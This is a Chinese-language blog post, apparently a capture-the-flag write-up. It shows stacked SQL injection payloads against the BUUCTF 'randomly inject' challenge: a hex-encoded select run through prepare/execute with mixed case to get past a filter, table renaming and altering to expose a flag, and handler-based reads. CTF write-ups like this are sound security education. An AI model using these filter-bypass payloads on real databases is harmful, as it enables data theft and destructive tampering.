堆叠注入进阶--(buuctf-随便注、GYCTF-black_list)【多方法详解】

了解一下

堆叠注入基础知识及其他题目:
SQL-堆叠注入

终于有时间来填填坑了

Buuctf-随便注

算是堆叠注入中非常经典的题目了。
在这里插入图片描述
随便试试就能看到黑名单:
在这里插入图片描述
没了select,其实大概率就是堆叠注入
先探测一下:

1';show databases;#

在这里插入图片描述
应该就是了。
再看看表:

1';show tables;#

在这里插入图片描述
然后查看表的结构先找到flag的位置:

1';desc `1919810931114514`;#

注:在mysql中,数字作为名称都要带上`这个符号来使用,用show columns from `1919810931114514`也行,也是记得加上`

找到
在这里插入图片描述

进阶点

这里就是关键,要如何来查看表中内容呢?select肯定是用不了了

方法一:编码处理

编码处理
因为select被过滤了,所以先将select * from `1919810931114514` 进行16进制编码,得到:

73656C656374202A2066726F6D20603139313938313039333131313435313460

本来payload为:

1';set @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;prepare newsql from @a;execute newsql;#

但是:
在这里插入图片描述
还有一个waf,使用大小写混写绕过

1';Set @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;prepare newsql from @a;execute newsql;#

得到结果:
在这里插入图片描述

方法二:巧用已知

在使用堆叠注入查看表之后,除了1919810931114514还有一个words表,因为show tables一定是在当前数据库工作的,说明一开始查询 1得到的,

array(2) {
 [0]=>
 string(1) "1"
 [1]=>
 string(7) "hahahah"
}

一定是利用这两个表查询出来的,显然1919810931114514这个表是不可能的,因为它只有一个字段的,不可能出现两个字段的结果。

1919810931114514的desc 结果如下:
在这里插入图片描述
现在我们就已知,查询的表是words表,输入1就会出现id=1的列,输入2就可以查id=2的列。虽然不能自己查询,但是可以默认查询words表的固定内容,尝试将
1919810931114514重命名为words,让查询语句默认可以查询到flag

0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

现在来解释一下payload,首先把原word改名为words1,把1919810931114514改名为words,将表中的flag字段修改为id字段,同时将字段的数据类型设置为可变长度字符串,字符集设置为utf8,排序规则设置为utf8_general_ci,并且该字段不能为空。

最后查询一下words表的内容:

1' or 1=1#

在这里插入图片描述

方法三:handler读取

handler可以优化mysql 性能,但是它本身也存在一些问题。
参考链接:
Handler参考链接1
Handler参考链接2

它具有查询的功能,可以平替select,用法就像这样

handler t_student open as t;handler t read first;

所以它可以直接查询,构造payload就像这样:

1';handler `1919810931114514` open as p;handler p read first;#

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值